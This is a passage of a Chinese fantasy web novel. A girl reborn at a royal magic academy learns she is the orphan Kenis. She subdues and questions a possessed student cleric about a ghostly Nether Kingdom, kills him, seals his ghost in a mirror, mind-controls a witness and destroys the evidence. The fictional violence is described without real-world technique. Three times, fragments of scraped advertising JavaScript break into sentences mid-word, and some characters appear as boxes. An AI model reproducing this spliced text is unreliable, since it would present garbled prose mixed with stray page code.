按照目前卡特琳娜对现况的了解来看，她仅仅是一个十六岁的二年级生，还没有进行学派选择，她周围的同学应该与她一样。 所以，能够熟练运用物灵派魔法的人叫她去老地方见面，这难免勾起了她的好奇心。 以她所知道的，凯妮丝应该是人灵派的巫师。 不是凯妮丝的话又会是谁？ 午餐后，是学生们的小休时间。紧接着他们需要再在一点半准时达到手工教室接受另一门课程《魔法物品与工艺学》的教学。 卡特琳娜趁着借口去盥洗室，撇开了斐丽佳和诺维雅等人，来到了餐厅后面的空地。 如今应该是费里特的夏季末。 拜厄首都费里特地处北大陆中部，再往西便是多吉港市。费里特处于海洋气候的边缘地带，温度宜人，空气湿润，植被茂盛。 卡特琳娜很喜欢这里的风，会让她想起原来世界里的小渔村，湿湿的咸咸的，让她感觉很好。 这里与洛尔兰的寒冷荒凉完全不一样。 卡特琳娜想到洛尔兰，眼色冷下来。不知道这次时空重置是出了什么意外，竟然让她回到了四十多年前几千公里外的另一座城市，甚至是作为卡特琳娜的生母凯特罗琳。 也不知道海因里希在魔镜的仪式中能不能存活下去，马林作为仪式的核心会不会在镜中人“卡特琳娜”的腹中重生，伊桑*莱斯利的孩子又会不会是魔镜教唆幽灵女偷走而产生的…… 必须找到凯妮丝才行，她一定是最为关键的人物！ 卡特琳娜在皇家学院中小心行走，发现路上并没有什么人。她走到了学院东边的一处树林，她见四周静谧，开始准备进行占卜魔法。 既然她成为了凯特罗琳，那她本人就存在与“老地方”的魔法学联系。她从地面捡起一片枯叶放在手中，然后将灵力注入，嘴中念诵咒语： “记忆与风，引领我至旧地。” 随着咒语的念诵，林中吹起了微风，枯叶从卡特琳娜手中飘起，往树林深处而去。 卡特琳娜跟随着枯叶，专心保持着灵力的稳定输注。枯叶在适当的时机加速或减缓速度，带领她前行。 直到她见到了林中的一片小型人工湖后，枯叶缓缓降落，躺在了她的脚边。 这里就是老地方？ 还不等她仔细观察，卡特琳娜有了一种强烈的危机预感。她立即发动了镜子替身魔法，但却忘记了自己身上并没有携带镜子。 她矮过头来闪避，却还是被扑倒在了草地上。 她没有看清来人的长相，只知道是个高大的男子。男子并没有对她发起致命攻击，显然是想要以制服为优先。 她下意识想要使用“圣泪”来作为武器，才想起来到这里之后“圣泪”也不在她的腕子上了。 该死！ 她只能赤手空拳去反抗！卡特琳娜当即一个肘击攻向身后的人，并且在转身时往来人的裆下一踢。 男子反应很快，竟然一把抓住了卡特琳娜的脚踝。他嘴里念念有词，绿草就像是有了生命一样飞速从泥土中长了出来，瞬间将卡特琳娜的双手双脚都固定住。 她成为了案板上的鱼肉。 “凯特！你身手变好了嘛。”男子呜咽了一声，然后顺势躺在了卡特琳娜的旁边，声音委屈，“呜，打得我好痛！” 刚刚卡特琳娜的肘击打在了他的右胸上，他捂着自己的胸口。 卡特琳娜见这人似乎认识凯特，又是能够控制植物的物灵派巫师，逐渐放下心来，猜想应该就是他通过“监督者”鹦鹉叫自己来老地方见面。 “你吓了我一跳。”卡特琳娜掩饰住自己的反常，有些嗔怪地说。 束缚她四肢的绿草缩了回去，让她能够稍微侧身去看身旁这个奇怪男子的模样。 不看不知道，卡特琳娜心中又是一惊。 这人长得与伊桑有好几分相似，轮廓深邃，五官立体，一头棕色的卷发显得杂乱潇洒。年纪比伊桑倒是轻了许多，大概比如今的她要年长几岁，约莫十八九的样子。 他穿着学院白袍——全知神教的修士制服，显然是一位在拜厄皇家学院进行的高年级全知神教学生修士。 是……是谁？ “这里痛。”他抓住卡特琳娜的手，往自己的右胸按过去。 午后的阳光本应该刺目，但现在是夏季末尾，林间微风清凉。卡特琳娜能透过学院白袍的布料，感觉到男子富有弹性的胸肌以及其下那一颗鲜活跳动着的心脏。 她越来越肯定自己真的穿越回到了四十多年前，而不是在某个虚幻的异空间，与虚构的人物进行互动。 一切都好真实，她甚至能看清男人脸上的毛孔。 她下意识用手抓了一下，手感非常结实。 “啊……”男子抱怨似的叫了一声，然后贴近过来趁机将卡特琳娜抱在了怀里，说，“你这个坏蛋，人家都说了痛，还这样抓我……” 他报复性地去挠她的腰窝，却发现她并没有像往常那样痒得大笑。 他愣了一下，被卡特琳娜扯住了衣服。她的力气非常大，竟然瞬间将白袍的纽扣给扯甭开。 卡特琳娜看到了男子的上身，以及他没有任何伤痕的腹部。 不是伊桑，伊桑被植入过子宫，他的肚子上会有一道明显的手术疤痕。即使他能够用魔法将疤痕消除，卡特琳娜也能够从中发现痕迹……她心中更是疑惑了，对面前男子的身份充满了各种猜测。 男子立即用袍子捂住自己的身子，做出不可置信的表情，连连后退以远离卡特琳娜。他音调升高：“你怎么非礼我？” “只是想看看刚刚有没有真的伤到你。”卡特琳娜平常地说。 但男子这时候已经发现了不对，他的表情由不可置信变得充满警惕，盯着卡特琳娜看，最后得出了结论：“你不是凯特。” 很好，这家伙比海因里希聪明多了，短短几分钟内就发觉了她不是本人。 显然，他与凯特关系密切…… “我怎么不是凯特？”卡特琳娜不承认。 凯特罗琳与卡特琳娜这对母女长相十分相似，也许性格上也会有很多雷同的地方。她扮演起来没有任何障碍，甚至很能入戏。 她这样一说，男子表情放松下来。他略微走近了几步，嘟囔着：“难道你是在捉弄我？我不信，你是不是别人假扮的？” “怎么可能有人假扮得了我。”卡特琳娜坚持自己的身份，“我是凯特罗琳*依耶芙特*古奥斯，拜厄的公主。” “那我呢？”男子笑起来，显然是相信了她的话，也不顾自己的白袍没有纽扣只能敞开。他搂住卡特琳娜的腰肢，让她贴在自己的身上，问：“你说说，我叫什么名字？我是你什么人？” 这…… 卡特琳娜怎么可能知道第一次见面的人叫什么名字！但很显然，敢与凯特罗琳做出这样亲密的动作，他们之间的关系毋庸置疑。 难道是亨利？后来与凯特罗琳结婚的那个公爵？ 不，不对，公爵不可能是教会的学生修士…… 而且他长得与伊桑非常像，但仔细看又会有很多细微的不同。伊桑的气质更严肃古板，而这 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 个人更活跃跳脱……他作为学生修士，不顾学院的规章，私自约会刚刚成年的公主（北大陆的习俗是十六岁成年）。 沙穆？卡特琳娜记得加入全知神教的神职人员都会改姓，想必这人也不例外。 她正要说出口，却想到了海因里希告知她的关于伊桑*莱斯利的事。伊桑舍弃了沙穆的姓氏，皈依了死亡神教，改姓莱斯利。 于是她回答说：“莱斯利……” 男子生气地瞪大了眼睛，打断了她的话：“都跟你说过了！再也不要叫我以前的名字！我不再是克里斯托弗*莱斯利，而是阿伦*沙穆！要是被教皇听了去，他又要质疑我对神的虔诚！” “哦？”卡特琳娜伸手环在了他的脖子上，由于身高差距只能踮着脚，“原来是这样啊，那虔诚的阿伦，你告诉我，你是我什么人？” 他问的问题，被她反问了回去。 阿伦瞬间红了脸，刚刚还游刃有余，这会儿却乱了呼吸。但他没有松开搂住她腰肢的手，享受着紧贴着的温度。 “你想要我是你什么人？”他不直接回答，而是矮了矮腰身，让自己的脸离她更近。 两人的唇只距离不到五厘米。 虽然心里并没有太大的波澜，但卡特琳娜不排斥这种感觉。阿伦*沙穆与伊桑*莱斯利长得很像，却不是严肃禁欲的风格，是一个张狂野性的帅哥。 她愿意与他接吻，毕竟他以前的姓氏是莱斯利，他和四十年后的伊桑一定有着千丝万缕的联系。 她闭上了眼睛，准备从一个吻触及她所想要知道的秘密。 “凯特！”一道熟悉的女声高喊。 林中的鸟雀受惊，飞了起来。 卡特琳娜睁开眼睛，下意识将阿伦*沙穆推开。 阿伦*沙穆赶紧松手，将自己敞露的衣衫遮住，然后发动了魔法利用草地和绿树的掩护逃跑。 虽然阿伦*沙穆只是学生修士，但他作为在皇家学院进修的潜力股，深受教会关注。全知神教有着严格的节戒律，若是他与公主之间的浪漫关系被揭露，一定会在王室掀起轩然大波。 卡特琳娜吃惊地看着站在树下阴影里的凯妮丝，她面色发黑，不敢相信地看过来。 “凯妮丝？”卡特琳娜惊喜不已，不等她去寻找，凯妮丝自动找上了门来。她必须要弄清楚…… 她几乎是狂奔向凯妮丝，但不等她开口，凯妮丝一个巴掌打在了她的脸上。 “啪！” 卡特琳娜捂住自己的脸颊，难以置信地看着凯妮丝。 凯妮丝少年气的脸上充满愤怒，眼里含泪，委屈至极。卡特琳娜不知道自己哪里惹到了她，问：“你这是什么意思？” “你为什么不告诉我？”凯妮丝气得用拳头打在卡特琳娜的胸口上。 但她收了力气，相当于猫猫拳，不痛不痒，只是表达了愤怒的情绪。 “啊？”卡特琳娜还是一头雾水。 “你提出跟我玩这个游戏的目的，是因为阿伦*沙穆。你应该早点告诉我，你是不是没有把我当做真正的朋友？”她打了几拳停了下来，但脸颊仍然鼓鼓的还在生气。 卡特琳娜完全听不懂她在说什么，但为了平息她的怒火，一把抱住了她，说：“我当然把你当做真正的朋友。” 凯妮丝却推开了她，质问：“那你是不是喜欢阿伦*沙穆？你以前从来没有跟我说过这件事。” “我当然不喜欢他。”卡特琳娜否认道，猜想应该是凯妮丝看到刚刚的场景误会了。 “那你提出跟我玩这个游戏的目的是什么？不是为了他的话，是为了什么？”凯妮丝似乎并不太相信。 即使是有暴露身份的风险，卡特琳娜也不得不问出口了：“什么游戏？” “我们玩的镜子魔法游戏啊！镜影谬换术。”凯妮丝抓住了卡特琳娜的手，瘪着嘴，委屈地看着她的眼睛，“我与你通过镜子交换身份，我变成你，你变成我。凯妮丝，你可不要骗我，你到底是不是为了阿伦？” 67. 她的记忆 她的话如一道惊雷在卡特琳娜脑中炸开。 卡特琳娜看着眼前与白钰一模一样的脸，想起了魔镜镜面中的同样形象。对了，对了，魔镜是虚幻的镜子，它不可能凭空创造出一个人，只能模仿和复制主人的脸…… 所以，她才是真正的凯妮丝？ 一阵恶寒席卷了卡特琳娜的感官，她猛然推开“凯妮丝”，两步撑在旁边的树干下，将中午吃下的餐食给吐了出来。 “你没事吧？凯妮丝。”“凯妮丝”凑过来想要扶住她。 但卡特琳娜被她的称呼给扰乱了思想，像是触电般避开了她伸过来的手。卡特琳娜脸色苍白，不敢再看她。 “其实你要是喜欢阿伦的话也无所谓。”“凯妮丝”并没有太介意她的反常，语气仍有些气闷，“我又不喜欢他，我只是生气你不告诉我。我把你当做最好的朋友，你却对我有所隐瞒。不过这也不怪你，你习惯了一个人，总想着自己解决任何事。但我们现在是朋友了，你应该跟我分享你的感受。” 由于吃下去的食物都吐了出来，卡特琳娜突然感觉非常脱力，心脏跳动变得极快，眼前的光影也逐渐模糊。 她实在支撑不住，双腿一软，往草地上栽倒。 “凯妮丝！” * 她做了一个很长很长的梦，梦到自己穿越到了一个奇怪的异世界。她孤苦伶仃，无依无靠。 为了活下去，她当过乞丐，差点被抢食的野狗咬死；她当过洗衣工，差点被工头活活打死；她还当过巫师的药人，差点被致命的巫药毒死…… 但她都没有死，她活下来了，反而过了很多很多年以后，巫师比她先老死了。 她还与她穿越来时长得一样，岁月没有在她脸上留下任何痕迹。 她想要学巫师的魔法，却不得要领，只能拿了最重要的笔记来到城市，希望能找到回去自己世界的方法。 然后她遇到了琼*库克，一位对她的笔记很感兴趣的巫师。 “让我去学校读书吧！我可以把我藏起来的魔法珍宝都一一给你。”她对琼*库克说。 于是琼*库克将她收为养女，给她取名为凯妮丝*库克，将她破格录取为拜厄皇家学院魔法学希的学生。 * 再次醒来的时候，卡特琳娜发现自己躺在床上，白色的天花板和白色的窗帘。她侧过头去，发现自己的手背上扎着针在打点滴。 她惊喜地坐起身来，难道是回到原来的世界里了？！ 很快，一只绿色鹦鹉的出现打破了她的美梦。 它站在床位的栏杆上，胸口挂着“监督者”字样的牌子，张口说着流利的费里特口音的狄埃语：“她醒了！她醒了！她醒了！” 窗帘被拉开，一个穿着白色长袍戴着眼镜的中年女子出现在卡特琳娜眼前。她一眼认出来，这就是名义上收养她，实际上与她进行秘密交易的琼*库克——魔法学院“魔法药剂学”专业副教授，研究生导师。 她看了卡特琳娜一眼，拿笔在手上的本子上写了什么，说：“凯妮丝，感觉好一些了吗？” 卡特琳娜大脑突突的发痛，但她很快适应了，梦中的记忆再次充盈，混乱繁杂，如割裂的电影片段。她有些分不清，哪些是凯妮丝的记忆，哪些是她本人的记忆。 过了多少年？ 她不太清楚凯妮丝活了多少年，从北大陆南部沼泽穿越到乡野，又在费里特及周边城市挣扎求生，最后熬到一位巫师从壮年到老死。 她活得糊里糊涂，甚至不太记得那个抓了她去当药人的巫师的脸，也不记得巫师的名字，只知道巫师会在笔记和魔法作品的隐秘位置留下“L.S.”的签名。 “我好了很多。”卡特琳娜说，她看了一眼吊瓶里绿色的液体，“你给我打的是什么液体？” 她仍有一些恶心的感觉，一把将手背上的针头扯掉。 “你患有营养不良症，所以这是我给你特制的治疗方剂。”琼*库克推了推眼睛，走过来将吊瓶拿下，“主材料室是海萤火虫的翅膀和朝日蟾蜍的唾液，辅助材料是生命草、月光花瓣和纯净水晶露。如果你不愿意输注，可以改用口服，每天服用1小杯，连续服用7天。在温暖的环境中饮用，以增强吸收效果。” 卡特琳娜对魔法药剂学没有太深入的研究，但她并不信任琼*库克，这位“养母”觊觎她手中的魔法珍宝。 她没说话，从医务室的床下来，走进了盥洗室。 镜子里的她，是白钰的脸，是她原本的脸。这让卡特琳娜产生了某种错觉，也许她一开始穿越到童话世界里来时，是以现在的身份作为起点，但交错的时空使她的记忆混乱了。 作为卡特琳娜的那段时间，更像是她的一场梦。 “是这样吗……” 卡特琳娜熟练地运用镜子魔法，将镜子里自己的镜像变成了卡特琳娜的模样。凯妮丝体质特殊，但也只是在魔法学系学习了两年基础魔法，不应该学到禁忌的镜子魔法才对。 她狠狠甩了几下脑袋，想要从记忆中寻找线索。 既然她才是凯妮丝本人，那之前扮作“凯妮丝”的人就应该是真正的凯特罗琳？ 凯特罗琳说她们通过镜影谬换术转换了身份，但凯妮丝实施的仪式魔法根本不是镜影谬换术。 镜影谬换术是镜子魔法中最为神秘而危险的一种，它不仅仅是身份的交换，还会改变自己和周围人的认知，使两个人的人生彻底对换。人灵派的魔法涉及对心灵的探索和激发，镜影谬换术的本质在于——你相信自己是谁，你就成为了谁。 实际上，凯妮丝和凯特罗琳进行的魔法只是普通的镜子障眼法，将两个人的外貌进行视觉上的对换，使得无论是他人还是自己看来，自己的外貌都变成了对方。这只是幻术的一种，利用了人类的视觉缺陷。 凯妮丝灵力不济，所以会在脱力后使镜子障眼法终止，对换的容貌恢复了原样。 卡特琳娜看着镜子里的自己。 比起卡特琳娜的身份，她更应该认同自己作为凯妮丝才对。她获得了凯妮丝 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的部分记忆，知道凯妮丝欺骗凯特罗琳的原因。 她不是为了阿伦，不是为了浅薄的感情，她只是想要回到自己原来的世界里去。 她没有权势，一无所有，很多事都做不到，无数次差点死于非命，所以才盯上了拜厄皇家学院地位最高贵的学生——凯特罗琳*依耶芙特*古奥斯。 如果她能够成功实施镜影谬换术，那她就能够成为凯特罗琳，成为拜厄王国的公主。有了权势，她才有足够的资源去利用，离回到原来的世界更近一步。 她必须回去。 卡特琳娜摸了摸自己的脸，久违的五官和轮廓竟然让她感觉到很陌生。她对着镜子努力露出笑容，却苦涩得令她心里发酸。 如果真的回去了，她还是她自己吗？ * 拜厄皇家学院实行传统的寄宿制，有着严格的教学规划和生活管理。 卡特琳娜因为午间晕倒在医务处休息，错过了下午的课，即使她的养母是教职人员，她也被记了一次考勤缺席。 晚间进餐依然是在大餐厅，卡特琳娜换了身份，不得不坐在餐桌末尾，与不太认识的几个同学一起。 由于餐桌太长，远远的她根本望不到凯特罗琳。 但她的食欲好了许多，不至于太过于反胃，看来琼*库克给她引用的方剂确实有一定的效果。 晚餐结束后是自由时间，好学的学生会选择去图书馆攻读专业书籍，好动的学生会积极参加各种组织团体。 凯妮丝显然既不好学也不好动，不好学是因为这些基础的魔法学知识她已经掌握，不需要重复学习浪费时间；不好动是因为她生性冷淡，气质沉郁，不爱社交，也不喜欢跟自己无关的人或事。 她现在眼里只有凯特罗琳，她迫切地想要成为她。 但凯特罗琳是那群女生的中心，随时随地被团团围住，即使她也偶尔向凯妮丝投来关切的视线，但两人并没有机会单独交流。 卡特琳娜并不愿意加入凯特罗琳的跟班群中，而且斐丽佳和诺维雅也绝对看不上她。 凯特罗琳在她们的拥簇下离开了餐厅，卡特琳娜知道她们应该是去参加研究社的活动了。 她正觉得无趣，被一个熟悉的声音叫住。 “凯妮丝。”绿色鹦鹉落在了她的肩头。 卡特琳娜回头便见到阿伦*沙穆站在柱子旁的阴影里，他的衣服扣子已经修复完善，虽然穿得整齐，但不羁的气质依然让他不像是一个神甫预备役。 阿伦朝她使眼色，卡特琳娜走了过去，跟在阿伦身后。 走到长廊的尽头时，阿伦高大的身影突然停住。卡特琳娜正想要问什么，被他一把扼住了喉咙。 “我警告你，如果你敢把我和凯特的事情传出去，我可不只是杀了你这么简单。”他恶狠狠地威胁道。 卡特琳娜没有露出任何痛苦的表情，反而是淡定地握住了阿伦的手腕。 然后，餐厅的长廊里，响起了阿伦痛苦的嚎叫声。 “啊！” 68. 幽冥之国 “你长得跟我认识的一个人很像。” 卡特琳娜挑起阿伦的下巴，越看越觉得他与伊桑相像。 阿伦被她折了手腕，疼得跪在了地上，不敢相信地看着这个平时沉郁自闭的女同学。 虽然这里看起来还是餐厅的长廊，但已经是阿伦利用空间魔法封闭起来的小空间。他准备在这里威胁凯妮丝，让她替他和凯特保守秘密，却没想到自己反而落了下风。 她的力气怎么会这样大？ “克里斯托弗*莱斯利。”卡特琳娜回忆起之前阿伦提到的自己的曾用名，莱斯利这个姓氏非常特殊。 阿伦立即瞪大了眼睛，想要忍着疼痛站起来，却被卡特琳娜一脚踢在胸口上。她的学生长靴明明很破旧，但踩着他的左肩让他怎么也无法起身。阿伦气急了：“凯特为什么连这种事情都告诉你！？” “不过她没有全部告诉我。”卡特琳娜蹲下身，将她偷偷带走的餐刀捏在手里，用刀背在阿伦俊俏的脸上滑动，“真的很像，所以我很好奇，你和他有着同样的姓氏，又长得非常相像，这会是什么缘由？” “你在说什么屁话？”阿伦气急败坏，他不想相信这个瘦弱的女生竟然完全将他制服住了！ “说，你与幽冥之国是什么关系？”卡特琳娜将刀尖对准阿伦的眼睛，只要她往下轻轻挪动，世界上就会又多出一个盲人。 阿伦脸色惨白，震惊不已：“……连，连凯特都不知道，你为什么会知道？你，你到底是什么人？” “我在问你问题，不是让你对我提问。”卡特琳娜拿膝盖撞阿伦的肚子，令他吃疼了一声。 阿伦只得妥协，连声说：“好好好，我告诉你，我告诉你，你先把刀拿开，这太危险了……” 卡特琳娜的刀在她的掌心中闪烁着冷冽的光芒，她目光中闪烁。就在她缓缓将刀挪开，准备聆听回答时，阿伦用尽了全力一蹬，借着地面的反作用力，将卡特琳娜从他身上颠了下去。 卡特琳娜立即用餐刀挥过去，却被阿伦敏捷避开。 他身体旋转，猛地一记膝撞击向卡特琳娜的腹部，正中她的柔软处。卡特琳娜闷哼一声，后退了两步，手中的刀失去了控制，滑落在地上。 “既然你知道了我的秘密，那就不要怪我对你下手！”阿伦喘着粗气，捡起了脚边的餐刀，双目闪过狠辣的光。 “那得看是谁对谁下手了。” 卡特琳娜表情平静，冲上来一个侧身，试图用肩膀撞击阿伦的侧面，企图将他逼入墙角。阿伦眼疾手快，迅速向后退去，躲过了她的攻击。他在瞬间判断出她的攻击路线，借机抓住她的手腕，借力向外一扭，令她失去重心。 卡特琳娜随着他的扭动而转，让阿伦以为自己得逞，将餐刀直接刺向她脖子的大动脉处。 嘭！ 镜子碎了一地。 镜子替身魔法。阿伦震惊，他没想到凯妮丝不仅身手了得，竟然还能熟练运用这等禁忌魔法。 趁着他愣神的空档，卡特琳娜一脚踢在在他的侧脸上。阿伦被打得偏头，露出愤怒与惊愕的神情，随即反应过来，抬脚直踢卡特琳娜的膝盖。然而，他像是踢在了铁石上一样，脚趾传来一阵剧痛，让他差点被痛晕。 卡特琳娜将餐刀夺回来，下了狠手，刺穿了阿伦的耳朵，扎在了他身后的墙上。 “啊！” 他的耳朵在流血，大脑却很难再思考，他只知道如果再不反击，局面将彻底失控。 阿伦垂眼看到这个冷酷的少女，心里不禁打了寒颤。他作为物灵派的巫师，选择了对自己最不利的空间魔法。这里的大部分东西都是无灵智的，以他的实力还不能够运用。 本来他以为他能凭借武力将凯妮丝制服，但显然他判断失误。这个少女实力非凡，他完全不是对手。 凯妮丝紧紧贴着他，想要从他口中问出答案。空气中是危险的电流，两人剧烈的心跳声交织在一起。 “你若是不说，我可以杀了你，再利用镜子通灵术从你的幽灵的口中得到答案。”卡特琳娜冷冰冰地威胁道。 阿伦这次是彻底认输了，他说：“你可别冲动，我告诉你就是了。我们俩一起离开，监督者都看在眼里，到时候你杀了我，你也洗脱不了嫌疑。” “你别耍花样。” “我打不过你，我可不敢拿命冒风险。但你问的问题涉及我们教会的秘辛，我怕我在告诉你的瞬间也会招来杀身之祸。”阿伦如实回答。 “这里不是你设置的封闭空间吗？怎么会被人知道？”卡特琳娜皱眉。 “神无所不知，无论我们在哪里。” 虽然阿伦这样说，但他看到凯妮丝的眼里杀意越发显露，他自然是先保命要紧。他如实交代了： “我本是幽冥之国的幽灵克里斯托弗*莱斯利，受到召唤附身到了这具人类的身体上。他的名字叫做阿伦*沙穆，所以我也就是阿伦*沙穆。” 卡特琳娜听此，面色如常，但心中一惊，这不就跟卡特琳娜的肉身被幽灵女占据是一样的吗？ 她问：“那这具身体原来的灵魂去了哪里？” “这我就不太清楚了，也许是去了放逐之境……” 卡特琳娜立即打断了他，“放逐之境”这个词她也从幽灵女口中听过。她连忙追问：“那是什么地方？” “我不知道，总之不会是在这个世界上，不然他一定会想要夺回他的身体。”阿伦将秘密和盘托出，既有一种将罪恶说出来的轻松感，又有对别人知道了他的堕落的惭愧心。 “是谁？”卡特琳娜问出了最为关键的问题，“是谁召唤了你？” “肯*沙穆，全知神教的教皇，是他召唤了我。”阿伦不仅回答了这个问题，还详细扩展了，“他以全知神子民的名字召唤了来自于幽冥之国的我，请我作为阿伦*沙穆，全知神与死神的双重信徒，沟通现界与幽冥。” 卡特琳娜对他说的神学内容一无所知，但她过去的经历让她警惕着涉及肯*沙穆和幽冥的内容。 她问：“你怎么沟通？” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “很难沟通。”阿伦坦白，“我的灵魂与这具身体很难融合，肯*沙穆试过很多次，都没能让我将他的话传达给死神。因此，他才将我送到了拜厄皇家学院作为学生修士，希望我能精进自己的能力，日后更好地为他效力。” 阿伦所说的这些，在逻辑上确实没有大问题，但卡特琳娜总觉得有什么不对劲的地方。 “克里斯托弗*莱斯利。”卡特琳娜心中疑虑重重，“幽冥之国是个什么地方？幽灵以前都是人类吗？你是怎么去到那里的？” 阿伦思考了片刻，回答：“你这个问题算是难倒我了，我很难告诉你幽冥之国是个什么地方。就像你们人类会聚集在一起形成一个城邦，我们幽灵也会聚在一起，组成一个国度。 “我以前从来没有思考过幽灵是什么这个问题，但自从来到学院上课，还真的学到了很多。关于幽灵的由来，学界一直以来都没有达成一致的共识，是具有争议的研究热点。 “很多人类认为，幽灵以前是人类，灵魂离开□□后成为了幽灵。但有关于人类时候的灵魂追踪研究显示，随着□□的失活，大多数灵魂会在短时间内湮灭——不知是真正消失，还是去到了其他地方。 “不过，有一部分人类体质特殊，他们死后的灵魂具有极大的灵力和灵性，会一直徘徊在原地，并且具有强大的执念，能够影响周围的人类——这也就是人类现在所理解的最初的幽灵。 “但实际上更多的幽灵是天生的幽灵，它生来就没有实体，只有意识和灵性；他们由具有灵性的自然所衍生，记忆模糊空泛，自己都很难追寻到自己的来处。 “不过，历史上还有记载，人灵派巫师当中的幽灵学派，巫师修炼在最顶尖的阶段，可以摒弃自己的□□，成为完全的‘人灵’，这也可能是‘幽灵’的其中一种形式。” 阿伦的描述没有太过于规范，但还是令卡特琳娜陷入了沉思，没想到“幽灵”这个定义包含了这么多概念。 “那你是属于哪种幽灵？”卡特琳娜问。 阿伦见她情绪稳定，没有再动手的意思，趁机提出了要求：“亲爱的凯妮丝同学，我现在耳朵很痛，能不能帮我把刀拔出来？” 卡特琳娜不说话，只是盯着他看。 “好吧。”阿伦认命了，“我并不太清楚自己的源头，所以我自认为是天生的幽灵，自我有记忆以来我就在幽冥之国当中，作为主宰死亡的伟大存在、象征毁灭与重生的奇迹之主的子民。” 卡特琳娜不禁皱眉，毕竟这涉及到了她的只是盲区，又问：“幽冥之国到底是一个什么样的地方？” “在现界，人们将那里称为幽冥之国，而在当地我们称自己所在的地方为‘洛库斯阿尼马’，灵语的意思是‘永夜之前’，而用古狄埃语翻译过来的意思是‘灵魂栖息地’。” 一道电在卡特琳娜的脑中闪过，她似乎对这个单词有印象。 洛库斯阿尼马，永夜之前。 那在永夜之中的，必然就是永夜之都诺尔南都拉尼亚了。 69. 她杀了人 创世双城。 以前卡特琳娜忽略了这个在创世神话中的特殊概念，创世双城指的是永夜之都和永昼之城两地。创世元年时，创世神乌克亚回归天界，创世双城从人间消失，众神归位。 若阿伦所说没有欺骗，那幽冥之国是“永夜之前”，与永夜之都有着千丝万缕的联系。 怪不得魔镜会说创世双城将再现人间。如果伊桑*莱斯利成功将洛尔兰改造成为现界幽冥之国，让“永夜之前”重现，那离永夜之都的降临便不会太远了。 “你还想问什么？” 由于时间的流逝，血液在阿伦被刺伤的耳朵处已经凝固。 他从容的态度立即令卡特琳娜产生了警觉。他所说的内容相当机密，涉及到全知神教内部的谋划。以她的了解，教皇肯*沙穆绝不是一个粗枝大叶或心慈手软的人。 他将阿伦送到拜厄皇家学院进修，说明阿伦*沙穆在某些方面上有着过人之处。 阿伦能毫无保留地将一切告诉她，要么是他本身愚蠢得离谱，要么是他有信心能让秘密在她这里成为终点。 他在等待。 他在拖延时间。 卡特琳娜想清楚了这一点，毫不犹豫，将扎在阿伦耳朵上的餐刀拔下来，然后猛地一把插在了他的心口上。 阿伦瞪大了眼睛，不敢相信地看着她。 他真的完全没有想到，凯妮丝这个平平无奇的瘦弱女同学，竟然敢杀人，而且手法如此丝滑流畅。 “你能控制那只鹦鹉，想必它已经去给你找帮手了吧？你在等教会的人来救你，并解决掉我吗？”卡特琳娜看着与伊桑*莱斯利非常相似的面孔，觉得有些可惜，“这真是太遗憾了，本来能跟你单独聊天是一件非常愉快的事情。” “你……你……”阿伦的心脏被餐刀贯穿，如果没有及时救治，他后续不会有存活的可能。 “你有没有骗我，你是不是天生的幽灵，在你的肉身死了之后我才能确认。放心，阿伦，如果你没有骗我，你不会真的死去，我会将你的幽灵好好珍藏。” 卡特琳娜将餐刀拔了出来。 阿伦心脏破裂，溅出了大容量的血液，沾染了卡特琳娜一身。 卡特琳娜迅速将镜子拿出来，使用镜子空间魔法，等待阿伦的幽灵脱离肉身。 那是一道绿色的光斑样灵体，卡特琳娜等不到他自行脱离，便将其抓入镜子中并使用魔法隔绝。 由于阿伦肉身的死去，他所创造的长廊封闭空间失效。 在这个时间点，餐厅几乎没有人在。卡特琳娜听到了远处的脚步声，她看着眼前倒地的尸体，没有犹豫，使用镜子转移术离开。 她身上有血，如果物理移动，很容易被追踪。 她借住夜色的掩护，顺利来到了无人的宿舍盥洗室的镜子前。 拜厄皇家学院的宿舍本来是两人一间，但她是被孤立落单的那个，年级女生总数又是单数，所以她目前是住单人间。 宿舍楼每一层有四个公用盥洗室，并不是绝对私密安全的地方。 她正在清理手上和脸上的血液，从外面进来了一个人。 “凯妮丝……你……”进来的女同学是隔壁宿舍的玛吉，她被一身是血的卡特琳娜吓到了。 卡特琳娜也为自己的疏忽而感到懊恼，她不应该心存侥幸，认为这个时间点不会有人用盥洗室。 门嘭的一声关上。 玛吉被吓了一跳，她立即想要开门离开，但发现门被锁住，她怎么用力都打不开。 “你叫玛吉是吗？”卡特琳娜走近了她，但与她保持着一米的距离，“看着我的眼睛。” 玛吉被她命令般的语言震慑住，不得不转过头来看着她。 卡特琳娜没有实践过人灵派的精神控制术，但事情到了这一步，她不得不尝试这样做。幸好玛吉只是二年级的同学，她的魔法造诣比不学无术的阿伦还要差很多。 “你刚刚什么都没有看见，什么人都没有遇到，这间盥洗室坏了，你不得不去用另一间。”卡特琳娜链接到了玛吉慌乱的情绪，试图将这个概念植入她的脑海，混淆她的思维。 如果失败，无非就是再杀一个人。 卡特琳娜心狠地想。 幸运的是，凯妮丝的特殊体质加上卡特琳娜的经验，竟然真的让理论上的精神控制术在实践中发挥了作用。 玛吉的眼眸变得茫然，嘴里嘀咕着：“我什么都没有看见，什么人都没有遇到，这间盥洗室坏了，我不得不去用另一间……” 说着，她转身打开了门，走出去后又把门关上。 “果然，人灵派的魔法都是相通的……” 卡特琳娜没时间深思，将皮肤上的血迹清理掉之后，回自己的房间换了一身衣服。她将沾血的衣服和餐刀封装起来，趁着夜色带到医务室，现配了魔法药物，将杀人证据腐蚀成浓稠的液体装进标本瓶和福尔马林混在一起。 现在她杀了人，来不及处理的尸体肯定已经暴露在众人面前。学院高层必定很快知晓，甚至教会和王室也会被惊动。 幸运的是，阿伦并不希望他与凯特罗琳的浪漫关系被人知道，所以他都小心翼翼，与凯妮丝的接触极为隐秘。 唯一的破绽——“监督者”鹦鹉。 阿伦肯定是让它通信找人支援，但卡特琳娜不知道他传达的内容具体是什么，“监督者”鹦鹉获得的信息会不会有关于她。 然而，卡特琳娜现在不敢进入镜子魔法空间与阿伦对话。 按照拜厄的杀人断案流程，第一时间会对死者进行通灵。卡特琳娜不知道探员的魔法实力，现在她贸然打开镜子魔法空间去见阿伦，很有可能被人获取阿伦幽灵所在的线索，令她暴露自己杀人者的身份。 